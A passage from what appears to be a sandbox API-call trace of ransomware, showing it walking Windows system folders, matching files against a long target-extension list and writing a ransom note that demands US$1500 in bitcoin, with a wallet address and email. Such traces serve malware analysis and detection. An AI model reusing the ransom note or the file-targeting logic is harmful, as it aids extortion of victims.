(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.380] lstrlenA (lpString="*.dwg") returned 5 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.380] lstrlenA (lpString="*.nd") returned 4 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.380] lstrlenA (lpString="*.tlg") returned 5 [0103.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.380] lstrlenA (lpString="*.lgb") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.381] lstrlenA (lpString="*.mov") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.381] lstrlenA (lpString="*.xdw") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.381] lstrlenA (lpString="*.ods") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.381] lstrlenA (lpString="*.wav") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.381] lstrlenA (lpString="*.mp3") returned 5 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.381] lstrlenA (lpString="*.aiff") returned 6 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.381] lstrlenA (lpString="*.flac") returned 6 [0103.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.381] lstrlenA (lpString="*.m4a") returned 5 [0103.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fd1cf4e736d6b312eac977974d613d35\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.382] lstrlenA (lpString="*.csv") returned 5 [0103.382] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x446be9e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x446be9e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x446be9e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.382] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.382] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c559c00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c559c00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c559c00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fdcd7d9230a1e1049a86779ba14f88c1", cAlternateFileName="FDCD7D~1")) returned 1 [0103.382] lstrcmpA (lpString1=".", lpString2="fdcd7d9230a1e1049a86779ba14f88c1") returned -1 [0103.382] lstrcmpA (lpString1="..", lpString2="fdcd7d9230a1e1049a86779ba14f88c1") returned -1 [0103.382] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.382] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="fdcd7d9230a1e1049a86779ba14f88c1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1" [0103.382] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1") returned 100 [0103.382] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c559c00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c559c00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c559c00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.383] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.383] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c559c00, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c559c00, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c559c00, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.383] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.383] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.383] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c533aa0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4c533aa0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4c533aa0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x9ee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.384] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.384] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0103.384] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0103.384] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned -1 [0103.384] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\*.*") returned="*.*" [0103.384] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\" [0103.384] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\") returned="" [0103.384] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\HOW TO DECRYPT FILES.txt" [0103.384] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fdcd7d9230a1e1049a86779ba14f88c1\\how to decrypt files.txt")) returned 0xffffffff [0103.384] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\fdcd7d9230a1e1049a86779ba14f88c1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.388] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.388] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.390] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.390] CloseHandle (hObject=0x90) returned 1 [0103.390] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll" [0103.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.390] lstrlenA (lpString="*.ems") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.391] lstrlenA (lpString="*.db") returned 4 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.391] lstrlenA (lpString="*.dbf") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.391] lstrlenA (lpString="*.myox") returned 6 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.391] lstrlenA (lpString="*.myo") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.391] lstrlenA (lpString="*.qbw") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.391] lstrlenA (lpString="*.qbb") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.391] lstrlenA (lpString="*.qbm") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.391] lstrlenA (lpString="*.qbo") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.391] lstrlenA (lpString="*.qbx") returned 5 [0103.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.392] lstrlenA (lpString="*.qba") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.392] lstrlenA (lpString="*.qby") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.392] lstrlenA (lpString="*.qbj") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.392] lstrlenA (lpString="*.ofx") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.392] lstrlenA (lpString="*.qif") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.392] lstrlenA (lpString="*.mye") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.392] lstrlenA (lpString="*.mbox") returned 6 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.392] lstrlenA (lpString="*.eml") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.392] lstrlenA (lpString="*.pst") returned 5 [0103.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.392] lstrlenA (lpString="*.ost") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.393] lstrlenA (lpString="*.idx") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.393] lstrlenA (lpString="*.dbx") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.393] lstrlenA (lpString="*.sql") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.393] lstrlenA (lpString="*.mdb") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.393] lstrlenA (lpString="*.fdb") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.393] lstrlenA (lpString="*.wab") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.393] lstrlenA (lpString="*.dat") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.393] lstrlenA (lpString="*.txt") returned 5 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.393] lstrlenA (lpString="*.jpeg") returned 6 [0103.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.393] lstrlenA (lpString="*.jpg") returned 5 [0103.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.394] lstrlenA (lpString="*.png") returned 5 [0103.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.394] lstrlenA (lpString="*.php") returned 5 [0103.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.394] lstrlenA (lpString="*.cs") returned 4 [0103.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.394] lstrlenA (lpString="*.cpp") returned 5 [0103.394] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.394] lstrlenA (lpString="*.rar") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.395] lstrlenA (lpString="*.zip") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.395] lstrlenA (lpString="*.html") returned 6 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.395] lstrlenA (lpString="*.htm") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.395] lstrlenA (lpString="*.xlsx") returned 6 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.395] lstrlenA (lpString="*.xls") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.395] lstrlenA (lpString="*.mp4") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.395] lstrlenA (lpString="*.ppt") returned 5 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.395] lstrlenA (lpString="*.pptx") returned 6 [0103.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\fdcd7d9230a1e1049a86779ba14f88c1\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.395] lstrlenA (lpString="*.doc") returned 5 [0103.396] PathMatchSpecA 